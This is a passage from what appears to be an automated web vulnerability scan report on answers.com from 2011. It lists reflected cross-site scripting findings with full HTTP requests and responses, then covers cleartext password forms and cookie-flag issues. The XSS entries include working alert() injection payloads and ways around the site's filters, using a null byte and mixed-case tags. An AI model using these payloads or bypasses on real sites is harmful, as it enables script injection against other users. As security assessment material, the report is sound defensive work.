
Response

HTTP/1.1 200 OK
Date: Fri, 19 Aug 2011 17:54:27 GMT
Server: AWS
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Set-Cookie: ab_test=ab=t270; Domain=.answers.com; Expires=Sat, 18-Aug-2012 17:54:27 GMT; Path=/
Set-Cookie: afid=67; Expires=Sun, 11-Aug-2041 17:54:27 GMT; Path=/
Set-Cookie: tacodaSession="Google Definition Link"; Path=/
Set-Cookie: nafid=0201a54e782821c7e59ea9e0; Path=/
Set-Cookie: referrerDomainSession=www.google.com; Path=/
Content-Length: 2802

<html>
<head>
<title>Lookup Error</title>
<script id="clientEventHandlersJS" language="javascript">
<!--
function btnDetails_onclick() {
document.getElementById("txtDetails").style.visibility = "visi
...[SNIP]...
<textarea id="txtDetails" style="visibility:hidden" rows="20" wrap="off" cols="80">
java.lang.NumberFormatException: For input string: "1d4c02<script>alert(1)</script>b7e2e8109d7"
   at java.lang.NumberFormatException.forInputString(NumberFormatException.java:48)
   at java.lang.Integer.parseInt(Integer.java:456)
   at java.lang.Integer.parseInt(Integer.java:497)
   at com.atomica.con
...[SNIP]...

1.7. http://www.answers.com/main/dsdata [topicTaxonomy parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.answers.com
Path:	/main/dsdata

Issue detail

The value of the topicTaxonomy request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 67c05'%3balert(1)//6accdb1029d was submitted in the topicTaxonomy parameter. This input was echoed as 67c05';alert(1)//6accdb1029d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /main/dsdata?ntabs=3&dsid=2474&templateid=1&cid=9964576&s=ccec5%26lt%3Bscript%26gt%3Balert%28document.location%29%26lt%3B%2Fscript%26gt%3B06721cb5f79%2Fdsdata&fw=null&fc=null&gwp=8&topictitle=Cross-site+scripting&didYouMeanLength=4&dsnames=Ads%20CPM%20Box%20-%20First/Computer%20Encyclopedia/Wikipedia/Ads%20Noscript/Ads/WikiAnswers%20Unanswered/Ads%20CPM%20Box%20-%20Third/Ads%20CPM%20Box%20-%20Fourth/FiveMinPersistent/Ads%20-%20LinkUnits/IntelliTXT/WikiAnswers%20Answered/Guides%20Picker&topicTaxonomy=technology67c05'%3balert(1)//6accdb1029d&topicZone=&leftover=&rnd=5.508445169281085E8&method=4&ab=t270&tname=cross-site-scripting-1&js=2 HTTP/1.1
Host: www.answers.com
Proxy-Connection: keep-alive
Referer: http://www.answers.com/ccec5%3Cscript%3Ealert(document.location)%3C/script%3E06721cb5f79/dsdata?ntabs=3&dsid=2474&templateid=1&cid=9964576&s=Cross-site+scripting&fw=null&fc=null&gwp=8&topictitle=Cross-site+scripting&dsnames=Ads%20CPM%20Box%20-%20First/Computer%20Encyclopedia/Wikipedia/Ads%20Noscript/Ads/WikiAnswers%20Unanswered/Ads%20CPM%20Box%20-%20Third/Ads%20CPM%20Box%20-%20Fourth/FiveMinPersistent/Ads%20-%20LinkUnits/IntelliTXT/WikiAnswers%20Answered/Guides%20Picker&topicTaxonomy=technology&topicZone=&leftover=&rnd=4.167837793428599E8&method=4&ab=t270&tname=cross-site-scripting-1&qry_lnk=true&js=2
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=474j52jtpsnh9d83vs8potif61; 474j52jtpsnh9d83vs8potif61=n%3A0%3A%7B%7D; statref=none; staturl=http%3A//www.answers.com/; statlpans=0; activeTab=ask; __qca=P0-867033900-1313775823394; wab_test=wab%3Dt7702; dymcook=cross-site-scripting-1%7C%3Cp+class%3D%27didYouMean%27%3E%3Cspan+class%3D%27dymIntro%27%3E%3Cb%3EDid+you+mean%3A%3C%2Fb%3E%3C%2Fspan%3E%3Cspan+id%3D%27dym_cross-site-scripting-1%27%3E+%3Ca+class%3D%27ilnk%27+href%3D%27%2Ftopic%2Fcross-site-scripting-1%27%3ECross-site+scripting%3C%2Fa%3E+%28technology%29%3C%2Fspan%3E+%3Cspan+id%3D%27dym_xss-abbreviation%27%3E+%3Ca+class%3D%27ilnk%27+href%3D%27%2Ftopic%2Fxss-abbreviation%27%3EXSS%3C%2Fa%3E+%28abbreviation%29%3C%2Fspan%3E+%3Ca+class%3D%27callout%27+href%3D%27%2Fmain%2Fntq-s-xss-dym_only-true%27%3EMore...%3C%2Fa%3E; JSESSIONID=FE32CAB6EC0B430997B8FF6D24A0ED45; settings=ver||fayt|1|ate|1|tabOrder|default|home|1; settingsS=ver||fayt|1|ate|1|tabOrder|default|home|1; GNFirstVisit=1313776443753; CTG=1313776444; CP=null*; __utma=31541870.290177515.1313775821.1313775821.1313775821.1; __utmb=31541870.2.10.1313775821; __utmc=31541870; __utmz=31541870.1313775821.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); activeRadio=all; snip_sess=474j52jtpsnh9d83vs8potif61; snip_uuid=f1f28578-fb16-4292-a0d5-88da600b2de9; AxData=; Axxd=1; ab_test=ab=t270; afid=0; tacodaSession=; nafid=0; referrerDomainSession=www.answers.com; firstPageTypeSession=topic-page

Response

HTTP/1.1 200 OK
Date: Fri, 19 Aug 2011 17:58:57 GMT
Server: AWS
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Set-Cookie: ab_test=ab=t270; Domain=.answers.com; Expires=Sat, 18-Aug-2012 17:58:57 GMT; Path=/
Set-Cookie: afid=67; Expires=Sun, 11-Aug-2041 17:58:57 GMT; Path=/
Set-Cookie: tacodaSession="Google Definition Link"; Path=/
Set-Cookie: nafid=0201a54e73803c1ab363e1668; Path=/
Set-Cookie: referrerDomainSession=www.google.com; Path=/
Content-Length: 2564

        <script xmlns:GoogleUtils="com.atomica.dataServer.utils.GoogleSearchUtils" xmlns:translationManager="com.atomica.common.utils.TranslationManager" type="text/javascript" language="JavaSc
...[SNIP]...
_contents = 'ccec5<script>alert(document.location)</script>06721cb5f79/dsdata';
   google_safe = 'medium';
   google_adtest = 'off';
   google_ad_channel = 'ca-topic_page_1 ca_technology67c05';alert(1)//6accdb1029d RA_US';
   if (typeof jwgData == "undefined")
       var jwgData = {config:{},articleData:{}};
   jwgData.gadchannel = google_ad_channel;
   jwgData.gadclient = google_ad_client;
   // -->
...[SNIP]...

1.8. http://www.answers.com/main/dsdata [topicTaxonomy parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.answers.com
Path:	/main/dsdata

Issue detail

The value of the topicTaxonomy request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload %00a57cb'%3balert(1)//a7ff0946f3e was submitted in the topicTaxonomy parameter. This input was echoed as a57cb';alert(1)//a7ff0946f3e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Request

GET /main/dsdata?ntabs=3&dsid=2474&templateid=1&cid=9964576&s=Cross-site+scripting&fw=null&fc=null&gwp=8&topictitle=Cross-site+scripting&dsnames=Ads%20CPM%20Box%20-%20First/Computer%20Encyclopedia/Wikipedia/Ads%20Noscript/Ads/WikiAnswers%20Unanswered/Ads%20CPM%20Box%20-%20Third/Ads%20CPM%20Box%20-%20Fourth/FiveMinPersistent/Ads%20-%20LinkUnits/IntelliTXT/WikiAnswers%20Answered/Guides%20Picker&topicTaxonomy=technology%00a57cb'%3balert(1)//a7ff0946f3e&topicZone=&leftover=&rnd=4.167837793428599E8&method=4&ab=t270&tname=cross-site-scripting-1&qry_lnk=true&js=2 HTTP/1.1
Host: www.answers.com
Proxy-Connection: keep-alive
Referer: http://www.answers.com/topic/cross-site-scripting-1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=474j52jtpsnh9d83vs8potif61; 474j52jtpsnh9d83vs8potif61=n%3A0%3A%7B%7D; CP=null*; activeRadio=all; statref=none; staturl=http%3A//www.answers.com/; statlpans=0; __utma=31541870.290177515.1313775821.1313775821.1313775821.1; __utmb=31541870.1.10.1313775821; __utmc=31541870; __utmz=31541870.1313775821.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); activeTab=ask; __qca=P0-867033900-1313775823394; snip_sess=474j52jtpsnh9d83vs8potif61; snip_uuid=f1f28578-fb16-4292-a0d5-88da600b2de9; wab_test=wab%3Dt7702; dymcook=cross-site-scripting-1%7C%3Cp+class%3D%27didYouMean%27%3E%3Cspan+class%3D%27dymIntro%27%3E%3Cb%3EDid+you+mean%3A%3C%2Fb%3E%3C%2Fspan%3E%3Cspan+id%3D%27dym_cross-site-scripting-1%27%3E+%3Ca+class%3D%27ilnk%27+href%3D%27%2Ftopic%2Fcross-site-scripting-1%27%3ECross-site+scripting%3C%2Fa%3E+%28technology%29%3C%2Fspan%3E+%3Cspan+id%3D%27dym_xss-abbreviation%27%3E+%3Ca+class%3D%27ilnk%27+href%3D%27%2Ftopic%2Fxss-abbreviation%27%3EXSS%3C%2Fa%3E+%28abbreviation%29%3C%2Fspan%3E+%3Ca+class%3D%27callout%27+href%3D%27%2Fmain%2Fntq-s-xss-dym_only-true%27%3EMore...%3C%2Fa%3E; JSESSIONID=FE32CAB6EC0B430997B8FF6D24A0ED45; settings=ver||fayt|1|ate|1|tabOrder|default|home|1; settingsS=ver||fayt|1|ate|1|tabOrder|default|home|1; ab_test=ab=t270; afid=0; GNFirstVisit=1313776443753; tacodaSession=; nafid=0; referrerDomainSession=www.answers.com; firstPageTypeSession=topic-page; WSS_GW=V1z%X%X@@Qiri; CTG=1313776444

Response

HTTP/1.1 200 OK
Date: Fri, 19 Aug 2011 17:54:31 GMT
Server: AWS
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Set-Cookie: ab_test=ab=t270; Domain=.answers.com; Expires=Sat, 18-Aug-2012 17:54:31 GMT; Path=/
Set-Cookie: afid=67; Expires=Sun, 11-Aug-2041 17:54:31 GMT; Path=/
Set-Cookie: tacodaSession="Google Definition Link"; Path=/
Set-Cookie: nafid=0201a54e782821c7e59ea9e0; Path=/
Set-Cookie: referrerDomainSession=www.google.com; Path=/
Content-Length: 2512

        <script xmlns:GoogleUtils="com.atomica.dataServer.utils.GoogleSearchUtils" xmlns:translationManager="com.atomica.common.utils.TranslationManager" type="text/javascript" language="JavaSc
...[SNIP]...
uage = 'en';


   google_encoding = 'utf8';
   google_contents = 'Cross-site scripting';
   google_safe = 'medium';
   google_adtest = 'off';
   google_ad_channel = 'ca-topic_page_1 ca_technologya57cb';alert(1)//a7ff0946f3e RA_US';
   if (typeof jwgData == "undefined")
       var jwgData = {config:{},articleData:{}};
   jwgData.gadchannel = google_ad_channel;
   jwgData.gadclient = google_ad_client;
   // -->
...[SNIP]...

1.9. http://www.answers.com/topic/cross-site-scripting-1 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.answers.com
Path:	/topic/cross-site-scripting-1

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as text between TITLE tags. The payload f80cc</TiTlE%20>d3240760612 was submitted in the REST URL parameter 2. This input was echoed as f80cc</TiTlE >d3240760612 in the application's response.

This behaviour demonstrates that it is possible to can close the open <TITLE> tag and return to a plain text context. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /topic/cross-site-scripting-1f80cc</TiTlE%20>d3240760612 HTTP/1.1
Host: www.answers.com
Proxy-Connection: keep-alive
Referer: http://www.answers.com/
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=474j52jtpsnh9d83vs8potif61; 474j52jtpsnh9d83vs8potif61=n%3A0%3A%7B%7D; CP=null*; activeRadio=all; statref=none; staturl=http%3A//www.answers.com/; statlpans=0; __utma=31541870.290177515.1313775821.1313775821.1313775821.1; __utmb=31541870.1.10.1313775821; __utmc=31541870; __utmz=31541870.1313775821.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WSS_GW=V1z%X%X@@Qiri; CTG=1313775808; activeTab=ask; __qca=P0-867033900-1313775823394; snip_sess=474j52jtpsnh9d83vs8potif61; snip_uuid=f1f28578-fb16-4292-a0d5-88da600b2de9; wab_test=wab%3Dt7702; dymcook=cross-site-scripting-1%7C%3Cp+class%3D%27didYouMean%27%3E%3Cspan+class%3D%27dymIntro%27%3E%3Cb%3EDid+you+mean%3A%3C%2Fb%3E%3C%2Fspan%3E%3Cspan+id%3D%27dym_cross-site-scripting-1%27%3E+%3Ca+class%3D%27ilnk%27+href%3D%27%2Ftopic%2Fcross-site-scripting-1%27%3ECross-site+scripting%3C%2Fa%3E+%28technology%29%3C%2Fspan%3E+%3Cspan+id%3D%27dym_xss-abbreviation%27%3E+%3Ca+class%3D%27ilnk%27+href%3D%27%2Ftopic%2Fxss-abbreviation%27%3EXSS%3C%2Fa%3E+%28abbreviation%29%3C%2Fspan%3E+%3Ca+class%3D%27callout%27+href%3D%27%2Fmain%2Fntq-s-xss-dym_only-true%27%3EMore...%3C%2Fa%3E

Response

HTTP/1.1 200 OK
Date: Fri, 19 Aug 2011 17:55:22 GMT
Server: AWS
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Set-Cookie: ab_test=ab=t270; Domain=.answers.com; Expires=Sat, 18-Aug-2012 17:55:22 GMT; Path=/
Set-Cookie: afid=67; Expires=Sun, 11-Aug-2041 17:55:22 GMT; Path=/
Set-Cookie: tacodaSession="Google Definition Link"; Path=/
Set-Cookie: nafid=0201a54e782821c7e59ea9e0; Path=/
Set-Cookie: referrerDomainSession=www.google.com; Path=/
Set-Cookie: firstPageTypeSession=topic-page; Path=/
Set-Cookie: govLookup=; Domain=.answers.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Content-Length: 37978

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html class="Safari" xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebo
...[SNIP]...
<title>cross site scripting 1f80cc</TiTlE >d3240760612: Information from Answers.com</title>
...[SNIP]...

1.10. http://www.answers.com/topic/cross-site-scripting-1 [dymcook cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.answers.com
Path:	/topic/cross-site-scripting-1

Issue detail

The value of the dymcook cookie is copied into the HTML document as plain text between tags. The payload ade1a<script>alert(1)</script>092a1126417 was submitted in the dymcook cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /topic/cross-site-scripting-1 HTTP/1.1
Host: www.answers.com
Proxy-Connection: keep-alive
Referer: http://www.answers.com/
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=474j52jtpsnh9d83vs8potif61; 474j52jtpsnh9d83vs8potif61=n%3A0%3A%7B%7D; CP=null*; activeRadio=all; statref=none; staturl=http%3A//www.answers.com/; statlpans=0; __utma=31541870.290177515.1313775821.1313775821.1313775821.1; __utmb=31541870.1.10.1313775821; __utmc=31541870; __utmz=31541870.1313775821.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); WSS_GW=V1z%X%X@@Qiri; CTG=1313775808; activeTab=ask; __qca=P0-867033900-1313775823394; snip_sess=474j52jtpsnh9d83vs8potif61; snip_uuid=f1f28578-fb16-4292-a0d5-88da600b2de9; wab_test=wab%3Dt7702; dymcook=cross-site-scripting-1%7C%3Cp+class%3D%27didYouMean%27%3E%3Cspan+class%3D%27dymIntro%27%3E%3Cb%3EDid+you+mean%3A%3C%2Fb%3E%3C%2Fspan%3E%3Cspan+id%3D%27dym_cross-site-scripting-1%27%3E+%3Ca+class%3D%27ilnk%27+href%3D%27%2Ftopic%2Fcross-site-scripting-1%27%3ECross-site+scripting%3C%2Fa%3E+%28technology%29%3C%2Fspan%3E+%3Cspan+id%3D%27dym_xss-abbreviation%27%3E+%3Ca+class%3D%27ilnk%27+href%3D%27%2Ftopic%2Fxss-abbreviation%27%3EXSS%3C%2Fa%3E+%28abbreviation%29%3C%2Fspan%3E+%3Ca+class%3D%27callout%27+href%3D%27%2Fmain%2Fntq-s-xss-dym_only-true%27%3EMore...%3C%2Fa%3Eade1a<script>alert(1)</script>092a1126417

Response

HTTP/1.1 200 OK
Date: Fri, 19 Aug 2011 17:54:23 GMT
Server: AWS
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Set-Cookie: ab_test=ab=t270; Domain=.answers.com; Expires=Sat, 18-Aug-2012 17:54:23 GMT; Path=/
Set-Cookie: afid=0; Expires=Sun, 11-Aug-2041 17:54:23 GMT; Path=/
Set-Cookie: tacodaSession=201a54e7df98be4c3f8c1792; Path=/
Set-Cookie: nafid=0201a54e782821c7e59ea9e0; Path=/
Set-Cookie: referrerDomainSession=www.answers.com; Path=/
Set-Cookie: firstPageTypeSession=topic-page; Path=/
Set-Cookie: govLookup=; Domain=.answers.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Content-Length: 144815

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html class="Safari" xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebo
...[SNIP]...
</a>ade1a<script>alert(1)</script>092a1126417</div>
...[SNIP]...

2. Cleartext submission of password previous next
There are 2 instances of this issue:

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

2.1. http://www.answers.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.answers.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.answers.com/javascript:doregister();

The form contains the following password fields:

wpPassword
wpRetype

Request

GET / HTTP/1.1
Host: www.answers.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 19 Aug 2011 17:43:22 GMT
Server: Apache
Content-language: en
Content-Type: text/html; charset=utf-8
X-Varnish: 525797694
Age: 0
Via: 1.1 varnish
Expires: Tue, 16 Jan 2001 00:00:00 GMT
Cache-Control: private, must-revalidate, s-maxage=0, max-age=0
Set-Cookie: wab_test=wab%3Dt7702; expires=Sat, 18-Aug-2012 17:43:22 GMT; path=/; domain=.answers.com
Set-Cookie: 474j52jtpsnh9d83vs8potif61=n%3A0%3A%7B%7D; path=/; domain=.answers.com
Vary: Accept-Encoding
Content-Length: 76180

           <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.fac
...[SNIP]...
</div>
       <form name="registerForm" id="registerForm" action="javascript:doregister();" method="post" accept-charset="utf-8">
               <input type=hidden name="wpCreateaccount" value="1">
...[SNIP]...
</label>
           <input type="password" name="wpPassword" value="" tabindex=2 id="password" /><br/>
...[SNIP]...
</label>
           <input type="password" name="wpRetype" value="" tabindex=3 id="password2" />
       </div>
...[SNIP]...

2.2. http://www.answers.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.answers.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.answers.com/javascript:dologin();

The form contains the following password field:

wpPassword

Request

Response

HTTP/1.1 200 OK
Date: Fri, 19 Aug 2011 17:43:22 GMT
Server: Apache
Content-language: en
Content-Type: text/html; charset=utf-8
X-Varnish: 525797694
Age: 0
Via: 1.1 varnish
Expires: Tue, 16 Jan 2001 00:00:00 GMT
Cache-Control: private, must-revalidate, s-maxage=0, max-age=0
Set-Cookie: wab_test=wab%3Dt7702; expires=Sat, 18-Aug-2012 17:43:22 GMT; path=/; domain=.answers.com
Set-Cookie: 474j52jtpsnh9d83vs8potif61=n%3A0%3A%7B%7D; path=/; domain=.answers.com
Vary: Accept-Encoding
Content-Length: 76180

           <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.fac
...[SNIP]...
</div>
       <form name="loginform" action="javascript:dologin();" method="post" accept-charset="utf-8">
               <input type=hidden name="isBasic" value="1">
...[SNIP]...
</label>
           <input type="password" tabindex=2 name="wpPassword" value="" id="password" /><br/>
...[SNIP]...

3. Cookie without HttpOnly flag set previous next
There are 3 instances of this issue:

/main/dsdata
/topic/cross-site-scripting-1
/

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

3.1. http://www.answers.com/main/dsdata previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.answers.com
Path:	/main/dsdata

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID=4ACF606ACA2C704036B3AACC5F5F029F; Path=/
referrerDomainSession=www.answers.com; Path=/
ab_test=ab=t270; Domain=.answers.com; Expires=Sat, 18-Aug-2012 17:58:42 GMT; Path=/

The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /main/dsdata?ntabs=3&dsid=2474&templateid=1&cid=9964576&s=ccec5%26lt%3Bscript%26gt%3Balert%28document.location%29%26lt%3B%2Fscript%26gt%3B06721cb5f79%2Fdsdata&fw=null&fc=null&gwp=8&topictitle=Cross-site+scripting&didYouMeanLength=4&dsnames=Ads%20CPM%20Box%20-%20First/Computer%20Encyclopedia/Wikipedia/Ads%20Noscript/Ads/WikiAnswers%20Unanswered/Ads%20CPM%20Box%20-%20Third/Ads%20CPM%20Box%20-%20Fourth/FiveMinPersistent/Ads%20-%20LinkUnits/IntelliTXT/WikiAnswers%20Answered/Guides%20Picker&topicTaxonomy=technology&topicZone=&leftover=&rnd=5.508445169281085E8&method=4&ab=t270&tname=cross-site-scripting-1&js=2 HTTP/1.1
Host: www.answers.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.answers.com/ccec5%3Cscript%3Ealert(document.location)%3C/script%3E06721cb5f79/dsdata?ntabs=3&dsid=2474&templateid=1&cid=9964576&s=Cross-site+scripting&fw=null&fc=null&gwp=8&topictitle=Cross-site+scripting&dsnames=Ads%20CPM%20Box%20-%20First/Computer%20Encyclopedia/Wikipedia/Ads%20Noscript/Ads/WikiAnswers%20Unanswered/Ads%20CPM%20Box%20-%20Third/Ads%20CPM%20Box%20-%20Fourth/FiveMinPersistent/Ads%20-%20LinkUnits/IntelliTXT/WikiAnswers%20Answered/Guides%20Picker&topicTaxonomy=technology&topicZone=&leftover=&rnd=4.167837793428599E8&method=4&ab=t270&tname=cross-site-scripting-1&qry_lnk=true&js=2
Cookie: ab_test=ab=t270; afid=0; tacodaSession=; nafid=0; referrerDomainSession=www.answers.com; firstPageTypeSession=topic-page

Response

HTTP/1.1 200 OK
Date: Fri, 19 Aug 2011 17:58:42 GMT
Server: AWS
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=4ACF606ACA2C704036B3AACC5F5F029F; Path=/
Set-Cookie: ab_test=ab=t270; Domain=.answers.com; Expires=Sat, 18-Aug-2012 17:58:42 GMT; Path=/
Set-Cookie: afid=0; Expires=Sun, 11-Aug-2041 17:58:42 GMT; Path=/
Set-Cookie: tacodaSession=; Path=/
Set-Cookie: nafid=0; Path=/
Set-Cookie: referrerDomainSession=www.answers.com; Path=/
Content-Length: 2526

<script xmlns:GoogleUtils="com.atomica.dataServer.utils.GoogleSearchUtils" xmlns:translationManager="com.atomica.common.utils.TranslationManager" type="text/javascript" language="JavaSc
...[SNIP]...

3.2. http://www.answers.com/topic/cross-site-scripting-1 previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.answers.com
Path:	/topic/cross-site-scripting-1

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

referrerDomainSession=www.answers.com; Path=/
firstPageTypeSession=topic-page; Path=/
ab_test=ab=t270; Domain=.answers.com; Expires=Sat, 18-Aug-2012 17:54:04 GMT; Path=/

The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

3.3. http://www.answers.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.answers.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

wab_test=wab%3Dt7702; expires=Sat, 18-Aug-2012 17:43:22 GMT; path=/; domain=.answers.com
474j52jtpsnh9d83vs8potif61=n%3A0%3A%7B%7D; path=/; domain=.answers.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

4. Password field with autocomplete enabled previous next
There are 2 instances of this issue:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

4.1. http://www.answers.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.answers.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.answers.com/javascript:dologin();

The form contains the following password field with autocomplete enabled:

wpPassword

Request

Response

HTTP/1.1 200 OK
Date: Fri, 19 Aug 2011 17:43:22 GMT
Server: Apache
Content-language: en
Content-Type: text/html; charset=utf-8
X-Varnish: 525797694
Age: 0
Via: 1.1 varnish
Expires: Tue, 16 Jan 2001 00:00:00 GMT
Cache-Control: private, must-revalidate, s-maxage=0, max-age=0
Set-Cookie: wab_test=wab%3Dt7702; expires=Sat, 18-Aug-2012 17:43:22 GMT; path=/; domain=.answers.com
